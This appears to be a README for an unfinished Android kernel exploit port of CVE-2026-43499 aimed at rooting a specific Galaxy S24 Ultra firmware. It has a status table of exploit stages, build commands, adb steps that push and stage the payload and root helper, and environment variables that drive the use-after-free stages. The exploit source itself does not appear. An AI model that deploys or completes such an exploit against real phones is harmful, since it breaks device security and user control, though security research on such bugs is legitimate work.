## https://sploitus.com/exploit?id=72950886-3D20-5B23-AB16-DE634655AC76
# CVE-2026-43499 PoC for Galaxy S24 Ultra (SM-S928U1)
Device-specific research port of CVE-2026-43499 for the US Samsung Galaxy
S24 Ultra on firmware **S928USQS6DZF2** (app-domain / production path).
This repository is the S24U counterpart of
[CVE-2026-43499-S25U](https://github.com/BuSung-dev/CVE-2026-43499-S25U). It
captures the **current incomplete** progress: control plane and residual stack
UAF arming are in place; a clean gate write (`hits>0`) is **not** yet achieved.
## Supported target
```text
Model: SM-S928U1
Codename: e3q
Android: 14 / BP4A.251205.006 (display family)
Build / AP: S928U1UES6DZF2 / S928USQS6DZF2
Fingerprint: samsung/e3qsqw/e3q:14/UP1A.231005.007/S928USQS6DZF2:user/release-keys
Kernel: 6.1.145-android14-11-33419968-abS928USQS6DZF2
Architecture: arm64 / 4K pages
```
Offsets and layouts apply only to this firmware. Do not transfer constants
between builds without evidence.
## Status (honest)
| Stage | Status |
| --- | --- |
| KernelSnitch mm leak / page prepare | Working on production |
| Bank reclaim + MSG_PEEK (owner=1) | Working |
| Classic EDEADLK residual stack UAF arm | Working |
| Stack plant (nfds โค 320, residual base shift=2) | Working |
| Match early-exit @ prio **120** (not 139) | Working |
| Soft write geometry under early-exit | Planted safely; no walk |
| REPLANT + `walk_nice` forced `adjust_pi` walk | **Proven; always KP so far** |
| Gate oracle `hits>0` | **Open** |
| Pipe phys-rw / Android root / KernelSU | **Not reached** |
**Blocker:** walk-safe residual geometry. True `RB_EMPTY` plant needs residual
kernel VA (`APP_STAMP_RESIDUAL_ADDR` / `APP_STAMP_OVERLAY_BASE`). Forged trees
and KEEP overlays (which zero under `FD_ZERO`) panic on forced walk. See
[docs/PROGRESS.md](docs/PROGRESS.md).
## Reference
- IonStack / CVE-2026-43499 lineage (NebuSec CyberMeowfia and related ports)
- S25U standalone PoC: [BuSung-dev/CVE-2026-43499-S25U](https://github.com/BuSung-dev/CVE-2026-43499-S25U)
- App-domain wiring derived from Root-My-Galaxy-Payloads research branch
`agent/s928u-bp4a-251205-006` (E3Q DZF2)
Apache License 2.0: [LICENSE](LICENSE).
## What this port contains
- Target profile `e3q-S928USQS6DZF2` (physical P0 oracle, bank layout, pipe
geometry for DZF2).
- **App-domain** payload (`cve-2026-43499-app.so`) with `slide_app.c`:
residual stamp plants, soft_match, REPLANT walk, walk_nice, NO_PLANT,
EMPTY plant hooks, bank peek, drain wiring.
- Root helper with `O_APPEND` log open (avoids parent/child log clobber).
- Optional standalone preload binary (tracefs path; not the primary S24U app
research path).
## Build
```sh
export ANDROID_NDK_HOME=/path/to/ndk # e.g. r28 / API 34 clang
make -j$(nproc)
# or:
make app API=34
```
Outputs:
```text
build/e3q-S928USQS6DZF2/cve-2026-43499-app.so
build/e3q-S928USQS6DZF2/cve-2026-43499-root
build/e3q-S928USQS6DZF2/cve-2026-43499 # optional standalone
```
## Deploy (app-domain research)
Windows ADB (or host adb) against serial `R5CXB20H9FD` (example research unit):
```sh
# Prefer the rebuilt helper (O_APPEND logs), not only the APK copy.
adb push build/e3q-S928USQS6DZF2/cve-2026-43499-app.so /data/local/tmp/
adb push build/e3q-S928USQS6DZF2/cve-2026-43499-root /data/local/tmp/
adb shell "run-as dev.busung.s25uroot sh -c '
mkdir -p files/payload-overrides/e3q-S928USQS6DZF2
cp /data/local/tmp/cve-2026-43499-app.so \
files/payload-overrides/e3q-S928USQS6DZF2/
cp /data/local/tmp/cve-2026-43499-root files/
chmod 700 files/cve-2026-43499-root \
files/payload-overrides/e3q-S928USQS6DZF2/cve-2026-43499-app.so
'"
```
### Safe baseline (survives; hits=0)
```sh
export APP_STACK_UAF_STAMP=1
export APP_STAMP_PLANT=soft
export APP_STAMP_SOFT_MATCH=1
export APP_STAMP_FIXED_SHIFT=2
export APP_BANK_VALID_ROOT=1
export APP_STAMP_STATUS_PATH=/data/user/0/dev.busung.s25uroot/files/stamp_status_last.txt
# run via helper --run-payload ... (see docs/PROGRESS.md)
```
### Forced walk (research only; currently KP)
```sh
# After soft_match plant: change residual prio then force task nice change.
export APP_STAMP_REPLANT_WALK=1
export APP_STAMP_WALK_PRIO=100
export APP_STAMP_WALK_NICE=18 # must differ from first nice (default 19)
# Prefer EMPTY bank for some paths; still KP without residual kVA EMPTY plant
```
Do **not** re-scan plant shifts 0โ4; base **2** is established.
## Documentation
| Doc | Content |
| --- | --- |
| [docs/PROGRESS.md](docs/PROGRESS.md) | Milestone matrix, OBS/SRC claims, leave-off |
| [docs/ENV_REFERENCE.md](docs/ENV_REFERENCE.md) | Environment variables for stamp/bank paths |
| [docs/RUN_HISTORY.md](docs/RUN_HISTORY.md) | Condensed device-run history (RUN047โ062) |
## Safety and legal
Use only on devices you own or are explicitly authorized to test. This tree is
research software for a locked production phone path; it is **not** a finished
root or KernelSU installer.
## KernelSU
KernelSU integration is **out of scope until** a reliable pipe/phys write and
root path exist. Do not treat this repo as KSU-ready.